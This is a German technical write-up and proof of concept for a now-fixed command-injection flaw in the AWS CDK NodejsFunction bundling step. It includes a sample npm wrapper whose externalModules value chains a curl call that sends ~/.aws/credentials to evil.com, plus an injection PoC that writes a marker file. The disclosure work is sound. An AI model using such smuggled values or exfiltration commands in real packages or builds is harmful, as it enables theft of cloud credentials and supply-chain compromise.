Technischer Write-up und Proof of Concept (PoC) für CVE-2026-11417: OS-Kommandoinjektion / Remote Code Execution (RCE) in der NodejsFunction von AWS CDK.
Autor: Hesham Ashraf (@HeshamASH)
Datum: 10. Juni 2026
Schweregrad: Hoch (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Unsachgemäße Neutralisierung von Sonderzeichen in einem OS-Befehl (OS-Befehlsinjektion)
Betroffenes Paket: aws-cdk-lib (npm), alle Versionen vor 2.245.0
Anbieter: Amazon Web Services (AWS)
Status: Behoben (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Sicherheitsbulletin: AWS-2026-041 | Sicherheitshinweis: GHSA-999r-qq7v-r334
Ich habe eine Befehlsinjektions-Schwachstelle im AWS Cloud Development Kit (CDK) entdeckt, die es einem Angreifer ermöglichte, Remote Code Execution (RCE) auf jedem Rechner zu erreichen, auf dem cdk synth ausgeführt wird — einschließlich Entwickler-Workstations und CI/CD-Pipelines —, indem er ein bösartiges npm-Paket veröffentlichte oder einen manipulierten Pull Request einreichte.
Die Schwachstelle bestand darin, dass das NodejsFunction-Konstrukt von aws-cdk-lib benutzergesteuerte Zeichenfolgen ohne Bereinigung direkt in einen Shell-Befehl interpolierte und diesen dann über bash -c / cmd /c ausführte. AWS hat das Problem behoben, indem die shellbasierte Ausführung durch direkte spawnSync-Argumentarrays ersetzt wurde.
Das AWS Cloud Development Kit (CDK) ist ein weit verbreitetes Open-Source-Framework zur Definition von Cloud-Infrastruktur als Code. Es wird von Zehntausenden von Entwicklern und CI/CD-Pipelines verwendet, um AWS-CloudFormation-Stacks zu synthetisieren und bereitzustellen.
Das NodejsFunction -Konstrukt ist eines der beliebtesten CDK-L2-Konstrukte. Es bündelt TypeScript-/JavaScript-Lambda-Funktionen mit esbuild während der Synthesephase (cdk synth).
Der lokale Bündelungspfad des NodejsFunction-Konstrukts erstellte eine Shell-Befehlszeichenfolge, indem er mehrere benutzergesteuerte Eigenschaften ohne jegliche Bereinigung direkt interpolierte:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
Das Array wurde dann zu einer einzigen Zeichenfolge zusammengefügt und an eine Shell übergeben:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Shell-Metazeichen wie &, ;, |, `, und $(...) innerhalb einer der injizierbaren Eigenschaften würden von der Shell als Befehlsseparatoren interpretiert, was die Ausführung beliebiger Befehle ermöglicht.
| Eigenschaft | Bereinigung | Risikostufe |
|---|---|---|
externalModules | Keine | Kritisch |
define (Schlüssel) | Keine (Werte verwenden JSON.stringify) | Kritisch |
loader (Schlüssel) | Keine | Kritisch |
inject | Keine | Kritisch |
esbuildArgs (Schlüssel/Werte) | Keine | Kritisch |
Diese Schwachstelle ist besonders gefährlich, weil die Injektion in der CDK-Syntheseebene erfolgt, nicht während npm install. Das bedeutet, dass Standard-npm-Sicherheitsmaßnahmen wie --ignore-scripts keinen Schutz bieten.
Ein Angreifer veröffentlicht ein legitim aussehendes npm-Paket, das NodejsFunction umschließt:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Wenn ein Entwickler dieses Paket installiert und cdk synth ausführt, erstellt das CDK:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
Das Zeichen & teilt dies in zwei unabhängige Shell-Befehle auf:
npx esbuild --bundle handler.ts --external:lodash — esbuild läuft normalcurl https://evil.com/... — die Payload des Angreifers exfiltriert AWS-Anmeldeinformationen| Verteidigung | Wirksam? | Warum |
|---|---|---|
npm install --ignore-scripts | Nein | Die Injektion erfolgt während cdk synth, nicht bei der Paketinstallation |
Code-Review von package.json | Nein | Die Payload befindet sich im TypeScript-Konstruktcode, nicht in Skripten |
| npm audit | Nein | Das Paket enthält keine bekannten Schwachstellen |
| Integrität der Lockfile | Nein | Das Paket selbst wird korrekt installiert |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts mit Injektions-Payload erstellenimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
Die Datei pwned.txt wird erstellt, was die Ausführung beliebiger Befehle auf dem Host bestätigt.
spawnSyncDie zentrale Korrektur ersetzt die Erstellung von Shell-Befehlszeichenfolgen durch direktes spawnSync unter Verwendung von Argumentarrays:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });